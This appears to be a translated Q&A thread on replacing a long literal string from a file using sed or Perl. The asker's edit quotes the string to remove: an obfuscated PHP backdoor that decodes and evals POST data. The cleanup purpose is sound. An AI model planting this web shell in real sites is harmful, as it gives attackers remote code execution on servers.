ファイルの長い部分をsedに置き換えたいのですが、ファイルから長い部分を読みたいのですが。私はこれを見つけました:
sed -e '/<TEXT1>/{r File1' -e 'd}' File2
~からこここれは私が達成したいものと完全に反対です。次のように多くのことを試しましたが、すべて間違った結果を示します。
sed -e '/r needle.txt/replace' subject.txt
編集1
Needle.txtは正規表現ではなく、ASCII以外の多くの文字に置き換えたいテキストです。
編集2
私が作業している正確な文字列は次のとおりです。
<?php $sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n1509e9'];if(isset($s22)){eval($s21($s22));}?><?php
最後を大事にしたい<?php
ベストアンサー1
ファイルの内容を次に渡す前に、シェルにファイルの内容を拡張させることができますsed
。
sed -e "s/$(cat needle.txt)/replace/" subject.txt
二重引用符の使用に注意してください。
これにより、sed
正規表現メタ文字がneedle.txt
正規表現ではなく正規表現メタ文字として解釈されます。needle.txt
含まれている場合/
。
needle.txt
行を文字通り解釈するには、次のようにすることができます。
perl -pe '
BEGIN{ local $/;
open $IN,"<","needle.txt";
$needle = <$IN>
}
s/\Q$needle/replace/
' subject.txt
説明する
- これらの
-pe
スイッチは、ファイルの各行に1行ずつコードを適用しsubject.txt
、処理後に各行を印刷することを意味します。 - この
BEGIN{}
セクションは一度だけ実行されます。それがすることは、needle.txt
ファイルを開き、その内容をすべて$needle
変数に保存することです。 s/\Q$needle/replace/
予想したものと同じ構文です。ただし、Perlの正規表現エンジンに正規表現ではなく固定文字列で続くすべての項目を処理させるという点だけがsed
異なります。\Q